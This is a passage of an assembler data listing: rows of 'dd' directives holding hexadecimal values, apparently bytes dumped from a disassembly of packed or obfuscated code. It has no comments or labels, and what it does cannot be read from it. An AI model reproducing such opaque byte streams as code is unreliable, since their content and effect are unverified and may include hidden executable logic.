		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h
		dd 1295h, 53240C89h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 4895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 241C895Ch, 4A586852h, 0F75A20D5h, 0B9514ADAh, 0B5879EEh
		dd 8159CA21h, 0E70995F2h, 5AD0890Ch, 0A6368h, 24248900h
		dd 4240481h, 5B000000h,	242C8150h, 6A76B9Fh, 8108438Fh
		dd 6B9F0843h, 34FF06A7h, 0C4815B24h, 4,	582434FFh, 0E904C483h
		dd 0FFFA2F0Eh, 845E4669h, 715C6AC5h, 4C31B891h,	0C50307EFh
		dd 0C076E0FFh, 914A42E5h, 0EB3C30C1h, 701D7E5Bh, 61110BA0h
		dd 0E72B74A2h, 0AF757884h, 0B0C85016h, 7DEC4BB9h, 0CAB75F5Ch
		dd 56A85FAAh, 0E3D2495Ah, 46291246h, 0D0C43140h, 0A4A14DF1h
		dd 0E8940DB7h, 394C77B3h, 801D11E8h, 91E14B0Bh,	281479E9h
		dd 83E944CCh, 7B000000h, 47654E99h, 0F3BAF5CCh,	0D666D138h
		dd 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch
		dd 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh,	0E3729EBDh
		dd 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h,	0B594A19Eh
		dd 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh
		dd 0BBEFB600h, 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h
		dd 527155h, 0C20DA437h,	0E0910D3h, 0
		dd 6FE90000h, 68000010h, 7EF4F5Dh, 0FA2E15E9h, 501E68FFh
		dd 0BE907EFh, 68FFFA2Eh, 7EF511Dh, 0FA2E01E9h, 525168FFh
		dd 0F7E907EFh, 68FFFA2Dh, 7EF52DDh, 0FA2DEDE9h,	53A868FFh
		dd 0E3E907EFh, 68FFFA2Dh, 7EF544Dh, 0FA2DD9E9h,	54DE68FFh
		dd 0CFE907EFh, 68FFFA2Dh, 7EF55C6h, 0FA2DC5E9h,	569568FFh
		dd 0BBE907EFh, 68FFFA2Dh, 7EF5791h, 0FA2DB1E9h,	58EB68FFh
		dd 0A7E907EFh, 68FFFA2Dh, 7EF5B62h, 0FA2D9DE9h,	5C6368FFh
		dd 93E907EFh, 7BFFFA2Dh, 0A30DA0D0h, 0D440ED8Fh, 1BB53842h
		dd 48E4890Bh, 0CE5ED7A5h, 90E40969h, 0E262B31Dh, 2E4EE153h
		dd 75071587h, 960B97F8h, 286D7716h, 20BACCFEh, 6D773171h
		dd 69C1E328h, 0D6A04A5Bh, 6749844h, 30DAF62Ah, 0C54F4F42h
		dd 0E3C1305Ch, 628DA04Dh, 4F2E63F5h, 4737B5ACh,	1303CB5Dh
		dd 0FB374D91h, 128F19A7h, 2873AC92h, 0ED6A04Ah,	0AE8A1874h
		dd 73AC03DFh, 0B455F928h, 19F59D67h, 44D98Ch, 33CD0000h
		dd 73B43E7Eh, 87F91E28h, 3B6925BFh, 0A0B3CDFFh,	4808A537h
		dd 9CC35D31h, 0DB2B55E7h, 0E9FF3BC9h, 0B55D39B8h, 0FB4B5937h
		dd 735DAE0Ah, 0FAE5228h, 0B7C96FF7h, 2E9D556Fh,	8C1A47D6h
		dd 9F10h, 0ED78B200h, 556E14ABh, 298D652Eh, 21AD7103h
		dd 76DE680Ch, 0A67198E1h, 68A5BAA6h, 0B0780ADAh, 8EBA507Ch
		dd 0A07C126Ch, 0AD420614h, 0D1B03DD3h, 305C42E8h, 872E48E2h
		dd 0A9750715h, 3CCE59D4h, 0B5317245h, 53E2C037h, 0F08A1D18h
		dd 0C758B381h, 31CBD92Fh, 79F48095h, 0B7423ADFh, 3C34B1CEh
		dd 8497EF6h, 1700000Eh,	5FF97404h, 802CC1BBh, 37610C6Eh
		dd 64D05DDFh, 920AABD1h, 64102595h, 0B6366FC9h,	27A9D3Fh
		dd 492BC173h, 0AAE7C3A4h, 286D75EAh, 4AB2102Ah,	0FC58D5A7h
		dd 31911C5Eh, 0A537A0B3h, 0B5AAEDECh, 27FFA537h, 60E43D99h
		dd 0A9DDF988h, 7F832873h, 0AA8D18DEh, 13ACAFB5h, 0B709BA76h
		dd 378C1AACh, 0A3h, 0D6A04A93h,	0CDAF420Eh, 0A4DD7771h
		dd 305CC4E4h, 41D6762Ch, 0A912F33Fh, 0AD305CBFh, 0D440ED8Fh
		dd 15E83446h, 86FB8D1Ah, 37B5AE33h, 0FA829703h,	6B0A982Ah
		dd 18B22530h, 0C7D91269h, 6802A02Fh, 993349ECh,	5F1B5E0Ch
		dd 0EA46585Ch, 0D4A0B5E7h, 35CF365Dh, 299E563Ch, 0D47h
		dd 38B5C754h, 7302789Ch, 0A04D2FC1h, 179E1C74h,	49E490A5h
		dd 0D77A56D3h, 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah
		dd 6D752969h, 0F3D1EB28h, 47C5DC78h, 0A90DE5FFh, 0D37DF084h
		dd 2D983839h, 0C30FB18Dh, 4A02802Dh, 2D4FE0A0h,	0E13DD3D1h
		dd 54544DE7h, 0BC305CC5h, 8CAE0AE6h, 49E343F2h,	9C0D6F8Dh
		dd 305CC51Ch, 9C601A3Ch, 0A5138E06h, 0B9B27079h, 0F6220E9Ch
		dd 0F18C1E60h, 70D669C3h, 0FA3602DBh, 0E0743CDEh, 0FD69049Ah
		dd 63C34151h, 0A26C2C65h, 0FEA4305Ch, 62618068h, 0BC4ED954h
		dd 0A67EFC10h, 0DFD2D41Ch, 37B57C2Ch, 0A2FC188Ah, 8F6B153Ah
		dd 0E949E3FEh, 60F762FFh, 7E903CD6h, 665534FCh,	0CC384249h
		dd 0B8BB0ED6h, 6BE49D2Fh, 0BD3054A8h, 0B7CA7E20h, 38F0521Eh
		dd 10BC4E54h, 8A0A8701h, 8A21133Dh, 38AE8A18h, 71FC7E9Ch
		dd 0AE4B35C7h, 3CA855FDh, 48AC03D3h, 5700000Ch,	9F39B4C4h
		dd 0C06C017Bh, 77A14C2Eh, 0A4109D1Fh, 0D24AEB91h, 0A4D06555h
		dd 0F676AF09h, 423ADD7Fh, 89EB01B3h, 6A2783E4h,	286D742Ah
		dd 4AF2D0EAh, 0BB0ED6A0h, 0E49D2FB8h, 37B59EE1h, 0CF59F3B1h
		dd 739DD2D2h, 0E4604228h, 0CDD72FADh, 2AC59865h, 35912BBDh
		dd 0FE8458DCh, 70905332h, 9B062FCCh, 0DA6091B5h, 0B446D401h
		dd 0D37BF928h, 0E0E242C2h, 912DD408h, 772089EAh, 0FF122CBh
		dd 6F9403BBh, 53h, 37A0B37Bh, 77F2ECA5h, 984437B2h, 60E23276h
		dd 0AC70069Ch, 6C36DA16h, 291E43DAh, 0A4937A1Fh, 906C0E20h
		dd 4C02612h, 9DE489F3h,	28737C1Bh, 0C2571339h, 0CA586ABAh
		dd 4FB9A530h, 0C2A9F06Ch, 26C96B76h, 78D98E56h,	4D00000Bh
		dd 370F6D81h, 0B34745ADh, 0ECA537A0h, 384C763Ah, 0B21AACF6h
		dd 0E557DE98h, 0CFD92557h, 1BCA0E36h, 88156D00h, 2D039A00h
		dd 2EC32F37h, 8F029403h, 305CB314h, 0DAA4B622h,	0B3EE780Ah
		dd 207DB2F3h, 67F1871Dh, 92235DFFh, 9A6A1426h, 29C354C7h
		dd 0D69AFD78h, 42EFB527h, 2429F737h, 141EB18Dh,	1B00000Bh
		dd 43ED80F0h, 0F420CDAFh, 3B951862h, 68C469EBh,	0AE3EB7C5h
		dd 70042989h, 0C24253FDh, 0E6E8133h, 55273567h,	0B6EBB7D8h
		dd 286D72F6h, 9FBEEC1Eh, 305CC543h, 34C651DCh, 4C789A7Dh
		dd 849CF838h, 4CE67006h, 20086A80h, 0F22266F4h,	0D353E270h
		dd 0E29FE50Bh, 286D77A2h, 0BA23072h, 0EA031AFAh, 0A80CE4C2h
		dd 592CF082h, 17BF49DEh, 35B37F01h, 0C604797Ch,	128F192Fh
		dd 20840392h, 0E7922082h, 3C391F56h, 88F1E67Eh,	9700000Ah
		dd 0DF79F484h, 0AC413Bh, 0B7E18CEEh, 0E450DD5Fh, 128A2B51h
		dd 0E490A515h, 36B6EF49h, 82FA1DBFh, 0C9AB41F3h, 2A674324h
		dd 286D736Ah, 4A3290AAh, 420ED6A0h, 2BA9F8A8h, 0C82C4995h
		dd 0DC10F021h, 0FA6E8430h, 50000004h, 0CCCBCBC6h, 5F45305Ch
		dd 265011CEh, 220EE21Ch, 37A0B3E0h, 781DECA5h, 0E76F384Ch
		dd 1DC12953h, 0F8B8E983h, 18286D76h, 7697178Ah,	0E83286Dh
		dd 286D778Eh, 32701C86h, 66F486AAh, 90E208D4h, 0DF99B31Dh
		dd 77429E07h, 7D08286Dh, 0A869A96Ch, 83037E11h,	8D286CF9h
		dd 9FF48117h, 0DBC5A88Bh, 2DC8E54Dh, 0FF9620BAh, 2A389655h
		dd 0DFC3463h, 2FC668CAh, 0F05FDAC8h, 8C3C3980h,	9BD1FB0h
		dd 49E20000h, 62A862Fh,	0B95FF974h, 92822EC7h, 1E339D10h
		dd 0E059D75Eh, 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch
		dd 9F1F920Ch, 71286D71h, 0A04A655Bh, 769844D6h,	0C4F02C04h
		dd 0FDF84436h, 2FADE561h, 0DDFE9FC3h, 8430DBE3h, 42803h
		dd 34DB8300h, 9FDEEC44h, 305CC543h, 34C651DCh, 5E18329Ah
		dd 5534FC86h, 384C76ECh, 50EA7C26h, 6D786121h, 39F1B328h
		dd 6B1527AFh, 0B2CC6ECAh, 98885452h, 0C5BCCA1Ah, 286D77C5h
		dd 6BC7554Fh, 9A2CBBB6h, 0C651E4E7h, 79F0B22Fh,	3C39A9C0h
		dd 187B6CE0h, 7000009h,	4FE984F4h, 0F05CD1ABh, 27911C5Eh
		dd 54C06DEFh, 0A23ABBC1h, 74001585h, 0C6465FF9h, 126A8D2Fh
		dd 591B3163h, 0BAF7B3D4h, 286D70FAh, 4A82E01Ah,	420ED6A0h
		dd 7B76CEA8h, 618A52EBh, 0E68ADC8Fh, 0BF47E60Ah, 0D97DFF17h
		dd 0DBE84034h, 84313BE9h, 37C05h, 199F5D00h, 0C6305CC5h
		dd 772ABC2Bh, 384C76E7h, 5C15B49h, 4CE885F7h, 0BD70CCAEh
		dd 0F99325B2h, 69C1BB5Dh, 0C6652598h, 366FF72Fh, 0C967AB6h
		dd 39BD3A65h, 550ADA3Ch, 887h, 78F58794h, 0B34238DCh, 0E08DEF01h
		dd 57DE5CB4h, 892450E5h, 97BA1613h, 0B5EC48E5h,	0FD12BE37h
		dd 0B446F283h, 58422BCAh, 6D716929h, 3391AB28h,	44D6A04Ah
		dd 3A0A8898h, 0A02C40A8h, 0B814E88Ah, 0BD19E597h, 0D578DC98h
		dd 23038191h, 483313A1h, 2E758524h, 17BF47E6h, 1BBF7B05h
		dd 55EE87F1h, 8430E06Bh, 78Bh, 0D251DF00h, 0F1000002h
		dd 5CC5199Fh, 3E730D30h, 305CC57Eh, 77A0C96h, 305CC587h
		dd 2DF1B89h, 0BBF68017h, 384C76A2h, 354BEE76h, 6D773C7Ch
		dd 38CED428h, 4960CF0h,	0E1A1D06Ah, 33286D76h, 96BCE471h
		dd 21C91369h, 2D4FEDC9h, 5E1E339Bh, 0A934FC86h,	0B393ED0Fh
		dd 52E473FEh, 0C6216C5Fh, 0EBA6302Fh, 208420ABh, 1CBBFB9Ch
		dd 0C6CE6F4Ch, 3A6814DCh, 39D436BFh, 81360E3Ch,	79Fh, 600D6F8Ch
		dd 0DB5A2034h, 8A5D779h, 7FF674ACh, 0B13C38DDh,	7F92FE3Bh
		dd 0CDC470FDh, 0E50AA64Fh, 9CBE1A9Bh, 702A53E2h, 6D708101h
		dd 0B799328h, 0ED6A04Ah, 0DA7EE670h, 0C4B1F1A0h, 4163305Ch
		dd 4D2FCDE9h, 33DA3AF1h, 94195BF1h, 30DFD52Fh, 0D1C05A84h
		dd 305CD0D1h, 9E346643h, 228D10E1h, 709A48Ch, 59000000h
		dd 1EC51h, 1A9FF100h, 0C5305CC5h, 762BBD2Ah, 384C76B4h
		dd 0FDB44E58h, 286D77BDh, 5C5C4D57h, 0B4286D78h, 6CE58EEh
		dd 7BEB8AF4h, 1B0B3FD3h, 0A93F4599h, 0B5C75541h, 0E999469h
		dd 8C48E27Ch, 0B7CD116Bh, 6D77C2C2h, 0C6505228h, 6D77CBCBh
		dd 935F4528h, 0C664BFF2h, 842D772Fh, 3C39BD2Dh,	0D080370Fh
		dd 0DF000006h, 7B13C3Ch, 48E489F3h, 0FF59D4A6h,	2C8825A7h
		dd 6AC27309h, 2C48EDCDh, 7EFE1781h, 0CAB245F7h,	1163892Bh
		dd 0F2AFFB9Ch, 286D6EB2h, 4A7A2862h, 420ED6A0h,	5A76CEA8h
		dd 5975C94Bh, 0CFCFC2B6h, 41305CC4h, 7471CD63h,	7CF4CF23h
		dd 0B3D54EC7h, 4638DE0Ah, 4A5EBB0h, 0A5482AC0h,	30F9A41Ch
		dd 14C284h, 2AC40000h, 5CB83777h, 3CBD930h, 64A69212h
		dd 11051h, 0EE78F100h, 5CC4F3B3h, 3440D530h, 0A6247C58h
		dd 27B6445Eh, 0BDE55950h, 0C2836F97h, 305C7FBDh, 2B66F560h
		dd 305C806Bh, 686FBA5h,	0E305C80h, 0E6700694h, 5FA7D97Eh
		dd 86FBED45h, 384C317Ch, 0DE2F1590h, 0ECE8663Ah, 4731CC5Eh
		dd 73C3CA76h, 730D9B57h, 3DA068DAh, 8169EBEBh, 0F8750715h
		dd 60BCBE5Ch, 831582ADh, 0C5EE9B0Eh, 50E5612Fh,	0ED83FD12h
		dd 0AE4B5905h, 3C390A2Dh, 0D4FCD363h, 0DB000005h, 3AD4030h
		dd 0B4E08DEFh, 0FB55D8A2h, 288429ABh, 6EFE7705h, 3044E9C9h
		dd 820213BDh, 0CEAE41F3h, 1567F527h, 0F6ABF798h, 286D6DB6h
		dd 787E2C5Eh, 0E34339DCh, 8FAD09E1h, 79C25BEDh,	9E5AFECCh
		dd 7A9C38h, 32D8F428h, 0E12FFC40h, 0C6E8C38h, 37E02061h
		dd 0C1E8431h, 80000000h, 0E34FCDC4h, 275121h, 4AF10000h
		dd 700ED6A0h, 0EA3A40D4h, 96A410D8h, 648A52E4h,	3782DE1Ah
		dd 0A2487C1Dh, 3FE85DD0h, 1E000000h, 14DC5EB6h,	0D6A04AB6h
		dd 0C53C970Eh, 0E232305Ch, 1A309C60h, 87FA8458h, 305CC507h
		dd 0D0FC9B09h, 0D539C929h, 185AF034h, 4C32C68Eh, 5CC55555h
		dd 57E5BF30h, 0B03DF58Fh, 0F789AE36h, 0A04A893Bh, 22AA44D6h
		dd 7D3D6C0Eh, 97305CC5h, 3489250Dh, 651CAE39h, 384C76B3h
		dd 7912B79h, 79C5475Fh,	7876366Bh, 2D64286Dh, 286D786Dh
		dd 1491FDA7h, 8947BE36h, 3DF58BB5h, 680923ABh, 0F0045D60h
		dd 1C67F38Ah, 2B961E76h, 942A9818h, 57FF6F06h, 5A7EBAC2h
		dd 0AB7EC6B0h, 148D1F88h, 305D1599h, 63193D99h,	0D9730183h
		dd 109DDF7Dh, 18E496A4h, 0AB3DAA45h, 0D6FC7BF6h, 7A37C127h
		dd 1894FD3Ah, 7C60C8DAh, 15788B26h, 0C8042426h,	47A97h
		dd 0EA8AA100h, 3745E94Bh, 82FC12BEh, 0D35141F3h, 1963F622h
		dd 0B7230494h, 0F95BDAA2h, 2F8924A8h, 53FD7008h, 5136BFB9h
		dd 6D5C5C55h, 86B4286Dh, 0D6A04A20h, 195FFD5Fh,	5CC52868h
		dd 12BAE830h, 26BC8002h, 0AA324C90h, 9A28F486h,	0A6D07A5Eh
		dd 0D0A24814h, 479F1D74h, 0E2B9F53Dh, 23C9FBA2h, 742DC751h
		dd 305CC534h, 0E737C6DCh, 0E1196E07h, 52CCD119h, 0F120608Ah
		dd 0B615DD73h, 8431594Eh, 3EA8h, 0A0B33A00h, 2A292530h
		dd 0F1877CB3h, 0BAB02A67h, 0A6FC37B1h, 0D5A74814h, 0A8A9B43h
		dd 7D40A83Ah, 72BA8406h, 0C8AA4028h, 0CB7F963Eh, 0FA885424h
		dd 2E0A9864h, 9EDE71A3h, 3B91146h, 78B10000h, 0FF47C5DCh
		dd 0C5500DE5h, 942EB852h, 5CC49D1Dh, 232A7730h,	3A4EF035h
		dd 8746B240h, 37B4BA64h, 20AC7032h, 3894680Ah, 339F6715h
		dd 6A9D61E3h, 9637C36Ah, 45D0DB82h, 7E9C38D2h, 0FFB234FCh
		dd 2FCB8F1Ch, 83F91E7Ah, 898F8E0Eh, 8E1C8620h, 0C9E2CB6h
		dd 59497471h, 0AD856D9Fh, 43E20D20h, 0E70BD3ADh, 0A53B4995h
		dd 0C4DD7913h, 0F619E840h, 9C27E22Ah, 7F923E06h, 0B4CE21FDh
		dd 0BD750728h, 6A85A851h, 44D16BFDh, 1A077D16h,	2DDC1461h
		dd 1FF91FCAh, 0F95BDAC8h, 0F1DD2153h, 24641D5Bh, 0EC10B71Fh
		dd 1EBFFFB2h, 535110B7h, 0D3862FBDh, 0A845D740h, 90EB9522h
		dd 5056A29Ch, 10574221h, 0F2525018h, 42E559F4h,	6E23A4A8h
		dd 0DE5A5DCh, 752F08CEh, 0DF0CCBDh, 689408CEh, 85A935C1h
		dd 38883BF7h, 0B6ABBF93h, 2Eh, 0EC519D28h, 61C7F1C4h, 0A0B33B89h
		dd 430BA537h, 6819D153h, 37B5AB69h, 0FAAB7B29h,	2873AADEh
		dd 2DF7E82h, 8C19F9C2h,	0D43Ch,	0A04A8600h, 0AF420ED6h
		dd 0B74571CDh, 869A33C5h, 0CE828B60h, 4C08A48Ch, 2221CCAEh
		dd 305C2479h, 0C8B9BF5Dh, 305C23C8h, 29C45A48h,	9A176D8Fh
		dd 305C241Ah, 0CA1AA8FAh, 0D973E477h, 0B50319A8h, 0F98C1937h
		dd 62CBFECBh, 15AF39CFh, 734A1C9Ch, 42AEF428h, 0D067EF7Fh
		dd 0C2CF1DA8h, 6392D74Ah, 0CF5FDA97h, 906409D1h, 0D8A2B444h
		dd 8822B44Ah, 8E56D4CCh, 0BE4D3CF4h, 0F42FC7D7h, 9DB01CAEh
		dd 57FA56DFh, 0D7307021h, 0C2E02087h, 0F58BF51Ah, 3533837Ch
		dd 0BA2D213Ch, 203h, 0FC710328h, 37BEBC50h, 64097385h
		dd 0DB5AD8C8h, 0DA0D479h, 1B3E9A9Fh, 3160CC61h,	819602B3h
		dd 30DA76FFh, 0DCC6AF46h, 6D69E5A5h, 0AF1D2F28h, 58D5A74Ah
		dd 911C5EFCh, 37A0B331h, 0AAEDECA5h, 0F75F37B5h, 0B9CB1B65h
		dd 0C218D71h, 780E9468h, 0A9E1FDA4h, 7B872873h,	0FABF01D2h
		dd 0E8748C19h, 0A6FB3745h, 0E9h, 0D6A04A3Ch, 0CDAF420Eh
		dd 4BDE7771h, 0FA5948C5h, 574001E9h, 73305CC0h,	0BA169FD9h
		dd 801EE690h, 668953F5h, 0D119F909h, 0F486111Ch, 0D1D1C05Ah
		dd 43305C41h, 0E9F88961h, 0B337B520h, 21286819h, 0E202873h
		dd 0B86206Ch, 2873218Bh, 0A1891F85h, 0D04EE7BDh, 0A1D4B445h
		dd 9951CFC3h, 2CBE29C4h, 0C7C8FF75h, 65F7AD2Fh,	0A7F981C8h
		dd 891BEB95h, 0DBC9FBFCh, 35505041h, 0E2C02088h, 21349016h
		dd 52B2CA6Dh, 1A60F450h, 0AA4FE984h, 4DB827D2h,	8C43C35h
		dd 10257h, 72022900h, 0BFBD51C3h, 0A749A36h, 5BD9C96Bh
		dd 0A1DB7EDAh, 3F9B9C0Ch, 61D3621Ah, 9701AC30h,	0DB75F880h
		dd 0C9AE4731h, 68E4A4DDh, 1E2C286Dh, 0D5A74AA8h, 37FDAA43h
		dd 5E89D442h, 8FAD0F92h, 5CF35BEDh, 65C5C01Ch, 1A23F047h
		dd 48559D33h, 0D6A04AFAh, 0CEA8420Eh, 76E10C27h, 0A0D278E4h
		dd 8E86465Ch, 46B2300Ch, 787A3160h, 0EAB8384Ch,	0D49CBE1Ah
		dd 44443D43h, 0CC286D78h, 0E6FC40D6h, 0E0C52D57h, 0D7655FADh
		dd 30769945h, 76CE5C1Eh, 36C4B65Ah, 0B745F7FAh,	0C3235DF3h
		dd 3A7A37C1h, 0DA286D0Ch, 0DCEA3AC8h, 2F542A41h, 56F6832Ch
		dd 9475BD3Fh, 8B0BA382h, 0DA2A54E6h, 0DC205AFEh, 9A58010Fh
		dd 0B4701933h, 9A42D4A6h, 0AF35098Bh, 56E07E43h, 0CBA35B5Bh
		dd 3EFB5C5h, 2BFB8597h,	29F577AFh, 0CF37D6F6h, 0F7622236h
		dd 0FC34765Ah, 0AD4032D8h, 94B9E903h, 0DDF252E0h, 3, 4AF65465h
		dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh
		dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E38953h
		dd 4C3h, 4EB8300h, 8B241C87h, 0E8682424h
		dd 89000005h, 8953241Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 0C895C24h, 31BE5624h, 8907EF4Eh, 24348BF3h, 5404C483h
		dd 81240C8Bh, 4C4h, 0BA525300h,	692C504Dh, 4245429h, 8418F5Ah
		dd 4D084181h, 8B692C50h, 8950240Ch, 405E0h, 4050000h, 87000000h
		dd 0FF5C2404h, 815B2434h, 4C4h,	1DBCE900h, 0DE21FFFAh
		dd 0D7AF8643h, 20A487A6h, 8AB865F2h, 307EF5Dh, 29E0FFC5h
		dd 7215CD38h, 0C54E2F66h, 885BB78Ah, 0A53DA0E0h, 9A0AD074h
		dd 0A4EC592h, 90262ECDh, 95264E87h, 1B270C7Ch, 771807C3h
		dd 0E86A54DDh, 0Dh, 0BD14FAFAh,	1B5F73B7h, 0A7FA7FB1h
		dd 5E8DCh, 56350000h, 51D6A6F4h, 0EE8h,	5027B500h, 0E5A78960h
		dd 9E9DC027h, 5E4ABC48h, 0F595F5Ah, 189h, 0C181F900h, 6C48h
		dd 820Fh, 0D1680000h, 5800001Ah, 0AE9h,	897E000h, 5C6220F4h
		dd 8B905B89h, 5FBF6619h, 6FF3810Bh, 0F7F69C2h, 0F381F3BFh
		dd 0FFE3315h, 570FF381h, 53F87A1Ch, 0DB965EBFh,	0F5018F00h
		dd 0F01BE981h, 8B660FF0h, 17C181F7h, 0E80FF0F0h, 12h, 58F96E6Bh
		dd 6DEBBC77h, 0A3292BF5h, 0AF7C439Ch, 815AE2EDh, 1E8h
		dd 31850F00h, 0E8000000h, 13h, 39E678A6h, 0EFEEABDEh, 0C619ED44h
		dd 18572F3Dh, 66260F9Ah, 6549D281h, 36E95Fh, 0A04C0000h
		dd 30C3F1DCh, 0A4F8D291h, 0E1089A73h, 0DE950h, 14DF0000h
		dd 97C200C0h, 0D5B78FFAh, 5E0D5D91h, 0FFFF5EE9h, 563C15FFh
		dd 0BE70992Dh, 2F65C611h, 0BB2E650Fh, 601F8D8Dh, 8D2907EFh
		dd 7E90BE1h, 0F499D8Bh,	8D8907E9h, 7E9320Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3EC35040h, 0F9581BE8h
		dd 94919A12h, 68F0Fh, 85890000h, 7E908D9h, 0F0D88166h
		dd 0E585C770h, 8007E922h, 0F000074h, 85C7DABFh,	7E922B1h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2CC35242h
		dd 16B7A67Dh, 29A5B5FFh, 606007E9h, 2D8D89F5h, 6107E919h
		dd 61C28B66h, 228595FFh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0FEEB17C3h, 0FA56E881h
		dd 6A34E5h, 0C3195FFh, 0C08B07E9h, 5191EEBh, 6E119693h
		dd 0EDC05747h, 0DE72981Dh, 0FBB2DE2Eh, 63D86C2Dh, 9286BCA4h
		dd 1BEBE2A0h, 15E9h, 2CB2F000h,	38h, 3 dup(0)
		dd 0F7E90000h, 2B000004h, 53FD7000h, 8430BDBFh,	0CB650872h
		dd 78D459DBh, 9E0EA7D5h, 60143999h, 0B23263CDh,	0FE7E9103h
		dd 4537C577h, 0A6DBC7A8h, 286D64E6h, 4AAE1C2Eh,	420ED6A0h
		dd 0F420CDAFh, 6E082266h, 7C790B96h, 55B0458Ch,	0E1ED31C7h
		dd 379F294Bh, 5C905820h, 469EDC70h, 45991B0Ah, 48941809h
		dd 0B042EB0Dh, 0AE5A0315h, 0E343F28Ch, 55A92B7Bh, 2037E34Fh
		dd 0E06CE58h, 0FF59A48Ch, 0F0DC2058h, 0ACC323A1h, 30C701A8h
		dd 7B55554Ch, 0D3BF305Ch, 18AE3C3Ch, 67113B95h,	7ACBE69Fh
		dd 6E82305Ch, 29B212CFh, 58CC8431h, 96000000h, 0DFD2A04Ah
		dd 305CC4DFh, 4BDD7331h, 230F6983h, 0C494168Fh,	7F91305Ch
		dd 0DFC33DDEh, 1238430h, 87000000h, 8D4A64Ah, 72D2A84Ch
		dd 3ACC4E46h, 0C4B1F1A0h, 4163305Ch, 8E18B5E9h,	0F54933C6h
		dd 3EDF03EFh, 9914668Ah, 3D551D3Fh, 1A8429BFh, 3E39DB2h
		dd 4A1BA981h, 7F09D5A7h, 0F5E720E6h, 0DB171D05h, 97215BFFh
		dd 0F3532DCFh, 6A2A67F1h, 0AA305BE6h, 2FFC30F8h, 698C38E1h
		dd 24366213h, 28CE8A5Ah, 32DE8E56h, 0B9664E8Bh,	99808431h
		dd 22000000h, 9D5A74Ah,	0DD1AB4Dh, 77CFAD41h, 75C94B5Bh
		dd 11E58488h, 5CC52060h, 1CB2F030h, 0F697B9h, 77CF4D44h
		dd 14A1076Ah, 841A4C08h, 97E508ACh, 0BBF6801Eh,	305C26FBh
		dd 84FD8F15h, 305C2704h, 7E5A960Ch, 7E17A1DBh, 0D227206h
		dd 4B01DA73h, 0FB85D911h, 26703061h, 2A0305Ch, 10928236h
		dd 0C9709CCCh, 3178A808h, 67C684h, 4A9C0000h, 334DE3A7h
		dd 0E275419Dh, 170E4A9Ah, 140D4995h, 91FF4C90h,	67E53CE8h
		dd 677059Fh, 94B96B12h,	688E56E0h, 73D7DA16h, 42D4A64Ah
		dd 0DDBE48ABh, 0AC84AC96h, 80369170h, 0DD34305Ch, 0DACB875Fh
		dd 0CF318A5Ah, 0F33BCB2Eh, 877DF342h, 0F9A074F1h, 6E2E63FDh
		dd 0A6305C96h, 2D9734FCh, 4984310Fh, 1,	0DAA44A19h, 0C0D07C0Ah
		dd 28C2F642h, 581F64Eh,	78C44859h, 0BB628E6Ah, 1895E709h
		dd 275AF48Eh, 305CC567h, 686FBA9h, 0E305CC5h, 96815C94h
		dd 0FF3A7701h, 3737B5ADh, 1725916Dh, 343AD365h,	0BFF31958h
		dd 68C4C921h, 0B56CB0C2h, 287364F3h, 48EE7600h,	1CD4EE36h
		dd 7D9F49F0h, 0A3DC6903h, 1DA9741Bh, 802CB179h,	671A3E6Ah
		dd 47294164h, 0A93FCDB1h, 0A1D37955h, 61FC8E5Dh, 759A85E6h
		dd 1CA93B0Bh, 64D78246h, 0DCB4298Ah, 0DC00E87Eh, 17618B3Dh
		dd 5EDB259Eh, 0E1B8C1Ah, 0AF000001h, 0A537A0B3h, 0C516960Bh
		dd 0A4FE305Ch, 68275A4Ch, 0AE37B59Ah, 56FA62F4h, 1690CC24h
		dd 0DD1AB4Eh, 0FD1FBB77h, 0B446F283h, 0BC5E7ACAh, 0CB1B61F4h
		dd 0DB2BB9h, 81AB5DFCh,	0FBC57EF7h, 7B8C1A0Ah, 50h, 2DBAB34Fh
		dd 3A77019Bh, 305CC57Ah, 2120089Ah, 0B05CC581h,	62A2DC69h
		dd 40D4766Bh, 469E04E8h, 5C1EDFDFh, 0E87436B0h,	0D6EC3042h
		dd 4A9AE476h, 0ED8CF038h, 0D0544D09h, 3BB04518h, 1ED0F0A1h
		dd 6240305Ch, 648B53D3h, 7AE3DC14h, 3000000h, 403ADC78h
		dd 0AD3A35E8h, 946B661Bh, 594B37B5h, 8D0F07CFh,	0AF4D09A5h
		dd 1EC620CDh, 25BF87F9h, 3143E9CDh, 939734EDh, 8E822873h
		dd 621725EFh, 0FD130A1Eh, 0E4891F05h, 7C35A6B1h, 2872E73Ch
		dd 453CCED4h, 2872E745h, 0B547D5CFh, 0D763B31Bh, 0D8EA3A42h
		dd 0E8FA4Ah, 62877C41h,	0B08C1630h, 0B884F604h,	82933B47h
		dd 23CA3602h, 0F08A1D18h, 73273C81h, 0A14C5628h, 37A0B361h
		dd 53430BA5h, 636819D1h, 2F384C65h, 77CFA943h, 4B07DF6Dh
		dd 0F25ED7A1h, 0B8C61E58h, 0E97CFE1Ch, 0E0F3BE2Eh, 4706F2C1h
		dd 47A954F0h, 0C4658Fh,	4BE588EAh, 0DD05D0A1h, 9A6AEA3Bh
		dd 807D08h, 59EF6DA4h, 0D36D5ACCh, 9624056Ah, 9012024Eh
		dd 8EEC004Ch, 8BF51AB6h, 53FA1EBBh, 0B1587CA7h,	74ADE577h
		dd 53D362F0h, 87AB92BAh, 1CD4D2DAh, 1CE092B8h, 0D6E3EB82h
		dd 4E36C4AAh, 0DB17698Eh, 0DE4h, 0D2543E00h, 0C5494938h
